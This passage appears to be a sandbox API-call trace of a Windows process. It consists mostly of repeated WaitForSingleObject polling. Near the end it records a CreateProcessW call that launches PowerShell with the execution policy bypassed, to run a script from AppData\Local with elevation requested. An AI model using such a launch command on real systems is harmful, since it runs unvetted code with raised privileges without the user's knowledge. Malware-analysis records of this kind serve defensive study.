0x102 [0056.075] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.100] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.105] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.121] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.136] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.152] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.167] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.257] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.261] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.283] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.294] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.308] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.335] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.344] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.355] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.372] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.386] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.418] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.432] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.448] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.464] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.480] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.526] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.566] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.573] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.588] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.604] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.621] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.917] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.931] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.947] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.963] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.978] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.994] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.014] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.027] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.072] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.088] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.106] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.119] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.134] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.152] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.165] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.188] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.198] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.222] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.251] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.259] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.277] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.291] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.306] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.332] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.338] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.355] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.382] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.385] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.401] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.415] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.432] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.446] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.476] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.480] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.731] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.744] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.758] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.774] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.791] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.810] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.822] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.837] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.852] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.868] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.884] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.902] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.914] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.931] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.945] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.961] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.978] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.992] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.008] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.025] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.066] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.321] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.331] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.402] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.554] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.573] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.590] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.638] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.655] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.679] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.694] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.720] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.738] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.752] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.768] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.785] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.799] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.826] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.834] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.861] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.890] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.900] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.226] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.235] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.260] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.265] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.312] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.359] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.406] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.452] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.513] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.538] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.546] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.563] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.577] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.601] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.608] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.623] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.643] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.672] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.752] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.794] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.841] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.919] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.001] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.049] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.073] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.091] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.114] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.154] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.184] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.225] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.397] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.405] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.468] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.482] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.504] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.541] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.545] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.697] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.703] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.720] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.750] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.793] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.840] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.888] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.940] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.957] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.966] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.981] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.998] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.031] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.044] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.091] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.140] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.166] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.168] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.188] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.205] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.233] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.247] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.264] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.459] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.516] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.078] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.364] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.477] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.506] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.549] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.553] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.592] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.600] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.621] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.636] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.678] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.708] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.748] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0070.822] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.058] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.115] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.380] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.492] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.516] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.567] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.614] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.638] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.647] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.674] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.820] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.864] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0071.899] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.089] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.135] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.161] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.192] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.212] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.224] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.249] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.283] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.346] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.410] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.714] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.737] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.766] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.814] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.846] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.889] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.907] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0072.968] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.100] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.157] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.203] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.225] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.512] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.526] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.541] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.580] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.649] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.658] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.686] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.702] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.716] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.734] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.752] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.764] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0074.996] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.065] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.104] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.153] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.187] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.206] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.217] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.232] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.255] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.277] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.356] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.420] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.513] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.559] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.607] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.660] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.702] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.763] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0075.808] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.045] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.080] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.092] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.127] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.148] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.155] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.176] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.189] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.260] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.317] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.510] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.603] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.694] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0076.740] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x0 [0076.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x60ed50 | out: hHeap=0x5e0000) returned 1 [0076.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x60ed50 [0076.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x120) returned 0x60edf8 [0076.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x60ed50 | out: hHeap=0x5e0000) returned 1 [0076.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1ae) returned 0x60f2b0 [0076.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x60edf8 | out: hHeap=0x5e0000) returned 1 [0076.741] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1b0) returned 0x60ed50 [0076.741] SetLastError (dwErrCode=0x0) [0076.741] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1\"\"' -Verb RunAs}\"" | out: lpString1="powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1\"\"' -Verb RunAs}\"") returned="powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1\"\"' -Verb RunAs}\"" [0076.741] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1\"\"' -Verb RunAs}\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1\"\"' -Verb RunAs}\"", lpProcessInformation=0x18d488*(hProcess=0xac, hThread=0xb0, dwProcessId=0x888, dwThreadId=0x8bc)) returned 1 [0076.746] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.867] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.868] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.884] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.900] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.915] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.946] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.946] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.966] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.987] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0076.997] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.011] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.027] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.045] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.058] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.083] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.087] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.104] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.120] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.121] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.122] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.123] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.124] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.125] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.126] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.127] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.130] WaitForSingleObject 